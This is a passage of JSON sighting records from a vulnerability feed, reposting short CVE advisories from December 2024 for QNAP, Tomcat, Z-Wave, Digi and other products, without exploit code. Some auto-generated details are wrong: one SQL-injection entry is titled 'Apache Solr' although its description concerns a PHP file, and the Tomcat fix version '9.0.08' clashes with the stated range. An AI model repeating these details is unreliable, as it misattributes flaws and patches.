CVE-2024-50716 \nPublished : Dec. 27, 2024, 9:15 p.m. | 18\u00a0minutes ago \nDescription : SQL injection vulnerability in Smart Agent v.1.1.0 allows a remote attacker to execute arbitrary code via the id parameter in the /sendPushManually.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T22:43:00.000000Z"}, {"uuid": "c643e0ca-b022-41ce-83f8-ac94ee172590", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50717", "type": "seen", "source": "https://t.me/cvedetector/13804", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50717 - Smart Agent SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50717 \nPublished : Dec. 27, 2024, 9:15 p.m. | 18\u00a0minutes ago \nDescription : SQL injection vulnerability in Smart Agent v.1.1.0 allows a remote attacker to execute arbitrary code via the client parameter in the /recuperaLog.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T22:43:01.000000Z"}, {"uuid": "3d90544f-b0a6-4f13-ae7d-8fa514c24402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50713", "type": "seen", "source": "https://t.me/cvedetector/13805", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50713 - SmartAgent SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50713 \nPublished : Dec. 27, 2024, 9:15 p.m. | 18\u00a0minutes ago \nDescription : SmartAgent v1.1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /tests/interface.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T22:43:02.000000Z"}, {"uuid": "43ee8197-b310-4c40-86f5-bf84c30494fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50714", "type": "seen", "source": "https://t.me/cvedetector/13809", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50714 - Smarts SRL Smart Agent SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-50714 \nPublished : Dec. 27, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : A Server-Side Request Forgery (SSRF) in smarts-srl.com Smart Agent v.1.1.0 allows a remote attacker to obtain sensitive information via a crafted script to the /FB/getFbVideoSource.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-28T00:23:23.000000Z"}, {"uuid": "15e413a6-6e32-4622-b51b-eb7ec48209d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50944", "type": "seen", "source": "https://t.me/cvedetector/13794", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50944 - SimplCommerce Integer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50944 \nPublished : Dec. 27, 2024, 7:15 p.m. | 45\u00a0minutes ago \nDescription : Integer overflow vulnerability exists in SimplCommerce at commit 230310c8d7a0408569b292c5a805c459d47a1d8f in the shopping cart functionality. The issue lies in the quantity parameter in the CartController's AddToCart method. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T21:02:36.000000Z"}, {"uuid": "50a3c0a0-1688-49fe-9ac1-889ef3c99eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50945", "type": "seen", "source": "https://t.me/cvedetector/13793", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50945 - SimplCommerce User Review Manipulation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50945 \nPublished : Dec. 27, 2024, 7:15 p.m. | 45\u00a0minutes ago \nDescription : An improper access control vulnerability exists in SimplCommerce at commit 230310c8d7a0408569b292c5a805c459d47a1d8f, allowing users to submit reviews without verifying if they have purchased the product. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T21:02:35.000000Z"}, {"uuid": "e4658648-d287-4ff5-a2b7-30b9cf051c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50628", "type": "seen", "source": "https://t.me/cvedetector/12456", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50628 - Digi ConnectPort LTS Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-50628 \nPublished : Dec. 9, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : An issue was discovered in the web services of Digi ConnectPort LTS before 1.4.12. It allows an attacker on the local area network to achieve unauthorized manipulation of resources, which may lead to remote code execution when combined with other issues. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:54:44.000000Z"}, {"uuid": "55833801-bfaa-420e-9be0-646eb1bcf12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50627", "type": "seen", "source": "https://t.me/cvedetector/12455", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50627 - Digi ConnectPort LTS Privilege Escalation File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50627 \nPublished : Dec. 9, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : An issue was discovered in Digi ConnectPort LTS before 1.4.12. A Privilege Escalation vulnerability exists in the file upload feature. It allows an attacker on the local area network (with specific permissions) to upload and execute malicious files, potentially leading to unauthorized system access. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:54:40.000000Z"}, {"uuid": "68c41d29-443f-49fe-b6f6-d11917d6a76e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50626", "type": "seen", "source": "https://t.me/cvedetector/12454", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50626 - Digi ConnectPort LTS Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50626 \nPublished : Dec. 9, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : An issue was discovered in Digi ConnectPort LTS before 1.4.12. A Directory Traversal vulnerability exists in WebFS. This allows an attacker on the local area network to manipulate URLs to include traversal sequences, potentially leading to unauthorized access to data. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:54:39.000000Z"}, {"uuid": "c5cdc557-47c8-4c97-856c-0ffc894c1f2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50625", "type": "seen", "source": "https://t.me/cvedetector/12453", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50625 - Digi ConnectPort LTS File Path Manipulation and Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-50625 \nPublished : Dec. 9, 2024, 10:15 p.m. | 37\u00a0minutes ago \nDescription : An issue was discovered in Digi ConnectPort LTS before 1.4.12. A vulnerability in the file upload handling of a web application allows manipulation of file paths via POST requests. This can lead to arbitrary file uploads within specific directories, potentially enabling privilege escalation when combined with other vulnerabilities. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:54:39.000000Z"}, {"uuid": "e9c54239-ac5b-41bf-b51c-10628d4156fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50403", "type": "seen", "source": "https://t.me/cvedetector/12255", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50403 - A use of externally-controlled format string vulne\", \n  \"Content\": \"CVE ID : CVE-2024-50403 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : A use of externally-controlled format string vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to obtain secret data or modify memory.  \n  \nWe have already fixed the vulnerability in the following versions:  \nQTS 5.2.2.2950 build 20241114 and later  \nQuTS hero h5.2.2.2952 build 20241116 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:25.000000Z"}, {"uuid": "b9706f0f-22f2-41e6-b910-679443ae8572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50402", "type": "seen", "source": "https://t.me/cvedetector/12254", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50402 - A use of externally-controlled format string vulne\", \n  \"Content\": \"CVE ID : CVE-2024-50402 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : A use of externally-controlled format string vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to obtain secret data or modify memory.  \n  \nWe have already fixed the vulnerability in the following versions:  \nQTS 5.1.9.2954 build 20241120 and later  \nQTS 5.2.2.2950 build 20241114 and later  \nQuTS hero h5.1.9.2954 build 20241120 and later  \nQuTS hero h5.2.2.2952 build 20241116 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:25.000000Z"}, {"uuid": "745ed232-5feb-4957-8cf6-9523c585a70c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50393", "type": "seen", "source": "https://t.me/cvedetector/12253", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50393 - A command injection vulnerability has been reporte\", \n  \"Content\": \"CVE ID : CVE-2024-50393 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : A command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.  \n  \nWe have already fixed the vulnerability in the following versions:  \nQTS 5.1.9.2954 build 20241120 and later  \nQTS 5.2.2.2950 build 20241114 and later  \nQuTS hero h5.1.9.2954 build 20241120 and later  \nQuTS hero h5.2.2.2952 build 20241116 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:21.000000Z"}, {"uuid": "79a276fe-e9d7-46df-a10d-5404def16aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50389", "type": "seen", "source": "https://t.me/cvedetector/12252", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50389 - A SQL injection vulnerability has been reported to\", \n  \"Content\": \"CVE ID : CVE-2024-50389 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : A SQL injection vulnerability has been reported to affect QuRouter. If exploited, the vulnerability could allow remote attackers to inject malicious code.  \n  \nWe have already fixed the vulnerability in the following version:  \nQuRouter 2.4.5.032 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:20.000000Z"}, {"uuid": "c79caf2e-0408-402e-aca1-f74b5a5a4f9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50388", "type": "seen", "source": "https://t.me/cvedetector/12251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50388 - An OS command injection vulnerability has been rep\", \n  \"Content\": \"CVE ID : CVE-2024-50388 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : An OS command injection vulnerability has been reported to affect HBS 3 Hybrid Backup Sync. If exploited, the vulnerability could allow remote attackers to execute commands.  \n  \nWe have already fixed the vulnerability in the following version:  \nHBS 3 Hybrid Backup Sync 25.1.1.673 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:19.000000Z"}, {"uuid": "cee62836-0c88-4488-8445-d5a32a45f889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50387", "type": "seen", "source": "https://t.me/cvedetector/12250", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50387 - A SQL injection vulnerability has been reported to\", \n  \"Content\": \"CVE ID : CVE-2024-50387 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : A SQL injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers to inject malicious code.  \n  \nWe have already fixed the vulnerability in the following version:  \nSMB Service 4.15.002 and later  \nSMB Service h4.15.002 and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:19.000000Z"}, {"uuid": "a85b77bd-5103-43fe-817d-be1035e2fbf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50404", "type": "seen", "source": "https://t.me/cvedetector/12247", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50404 - A link following vulnerability has been reported t\", \n  \"Content\": \"CVE ID : CVE-2024-50404 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : A link following vulnerability has been reported to affect Qsync Central. If exploited, the vulnerability could allow remote attackers who have gained user access to traverse the file system to unintended locations.  \n  \nWe have already fixed the vulnerability in the following versions:  \nQsync Central 4.4.0.16_20240819 ( 2024/08/19 ) and later \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:13.000000Z"}, {"uuid": "730e3b73-dd8c-4cba-a221-cd778adf2826", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/cvedetector/13091", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50379 - Apache Tomcat TOCTOU Race Condition RCE on Case Insensitive File Systems\", \n  \"Content\": \"CVE ID : CVE-2024-50379 \nPublished : Dec. 17, 2024, 1:15 p.m. | 37\u00a0minutes ago \nDescription : Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability during JSP compilation in Apache Tomcat permits an RCE on case insensitive file systems when the default servlet is enabled for write (non-default configuration).  \n  \nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.1, from 10.1.0-M1 through 10.1.33, from 9.0.0.M1 through 9.0.97.  \n  \nUsers are recommended to upgrade to version 11.0.2, 10.1.34 or 9.0.08, which fixes the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T15:06:15.000000Z"}, {"uuid": "7a28d9f2-1f1e-4788-b40f-0ef1fb8adcfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50584", "type": "seen", "source": "https://t.me/cvedetector/12793", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50584 - Apache Solr Blind SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50584 \nPublished : Dec. 12, 2024, 2:15 p.m. | 44\u00a0minutes ago \nDescription : An authenticated attacker with the user/role \"Poweruser\" can perform an SQL injection by accessing the /class/template_io.php\u00a0file and supplying malicious GET parameters.\u00a0The \"templates\" parameter is vulnerable against blind boolean-based SQL injection attacks. SQL syntax must be injected into the JSON syntax of the templates parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T16:20:53.000000Z"}, {"uuid": "bcf30c0e-8605-442d-9a7a-5fe66a518e42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50920", "type": "seen", "source": "https://t.me/cvedetector/12549", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50920 - SiLabs Z-Wave Series Insecure Permission Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50920 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Insecure permissions in Silicon Labs (SiLabs) Z-Wave Series 700 and 800 v7.21.1 allow attackers to create a fake node via supplying crafted packets. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:40.000000Z"}, {"uuid": "4e89369e-fb4d-4a60-b361-6241411349c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50585", "type": "seen", "source": "https://t.me/cvedetector/12635", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50585 - Numerix License Server Administration System Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50585 \nPublished : Dec. 11, 2024, 3:15 p.m. | 35\u00a0minutes ago \nDescription : Users who click on a malicious link or visit a website under the control of an attacker can be infected with arbitrary JavaScript which is running in the context of the \"Numerix License Server Administration System Login\" (nlslogin.jsp) page.\u00a0The vulnerability can be triggered by sending a specially crafted HTTP POST request.\u00a0  \n  \n  \n  \nThe vendor was unresponsive during multiple attempts to contact them via various channels, hence there is no solution available. In case you are using this software, be sure to restrict access and monitor logs. Try to reach out to your contact person for this vendor and request a patch. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T16:54:37.000000Z"}, {"uuid": "02c86d0d-f6ec-41ab-9bb8-65787f950d98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "exploited", "source": "Telegram/5Nab3RNfTBkvOpMLNYJaEuqpzi9QB49V6Gol8aMTkVzp5g", "content": "", "creation_timestamp": "2025-03-05T14:58:56.000000Z"}, {"uuid": "dc6b36b7-919e-4cbd-a264-e2a7f34f734b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50921", "type": "seen", "source": "https://t.me/cvedetector/12541", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50921 - SiLabs Z-Wave Series 700 and 800 DOS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50921 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Insecure permissions in Silicon Labs (SiLabs) Z-Wave Series 700 and 800 v7.21.1 allow attackers to cause a Denial of Service (DoS) via repeatedly sending crafted packets to the controller. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:30.000000Z"}, {"uuid": "a5317d6f-d113-4522-89f2-1033d541275f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50699", "type": "seen", "source": "https://t.me/cvedetector/12548", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50699 - TP-Link TL-WR845N Default Credentials Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50699 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : TP-Link TL-WR845N(UN)_V4_201214, TL-WR845N(UN)_V4_200909 and TL-WR845N(UN)_V4_190219 were discovered to contain weak default credentials for the Administrator account. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:39.000000Z"}, {"uuid": "9a4fa82b-a7a8-41e4-b3a8-e7bfeedf650e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50931", "type": "seen", "source": "https://t.me/cvedetector/12546", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50931 - Silicon Labs Z-Wave Series 500 Permissions Misconfiguration\", \n  \"Content\": \"CVE ID : CVE-2024-50931 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Silicon Labs Z-Wave Series 500 v6.84.0 was discovered to contain insecure permissions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:37.000000Z"}, {"uuid": "a6b73788-0cb6-423e-82f2-7f1f0e6219ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50930", "type": "seen", "source": "https://t.me/cvedetector/12545", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50930 - Silicon Labs Z-Wave Series 500 Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-50930 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : An issue in Silicon Labs Z-Wave Series 500 v6.84.0 allows attackers to execute arbitrary code. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:33.000000Z"}, {"uuid": "a59321ae-0d0a-4d35-9f68-07f00d959614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50929", "type": "seen", "source": "https://t.me/cvedetector/12544", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50929 - SiLabs Z-Wave Series 700 and 800 Type Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50929 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Insecure permissions in Silicon Labs (SiLabs) Z-Wave Series 700 and 800 v7.21.1 allow attackers to arbitrarily change the device type in the controller's memory, leading to a Denial of Service (DoS). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:32.000000Z"}, {"uuid": "f2d41e8d-d48d-4d37-8eef-8700f40d0dd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50928", "type": "seen", "source": "https://t.me/cvedetector/12543", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50928 - SiLabs Z-Wave Series 700/800 Permissive Interval Modification\", \n  \"Content\": \"CVE ID : CVE-2024-50928 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Insecure permissions in Silicon Labs (SiLabs) Z-Wave Series 700 and 800 v7.21.1 allow attackers to change the wakeup interval of end devices in controller memory, disrupting the device's communications with the controller. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:31.000000Z"}, {"uuid": "979329a3-22fe-4319-8406-d3da19bad385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50924", "type": "seen", "source": "https://t.me/cvedetector/12542", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50924 - SiLabs Z-Wave Series 700 and 800 Denial of Service\", \n  \"Content\": \"CVE ID : 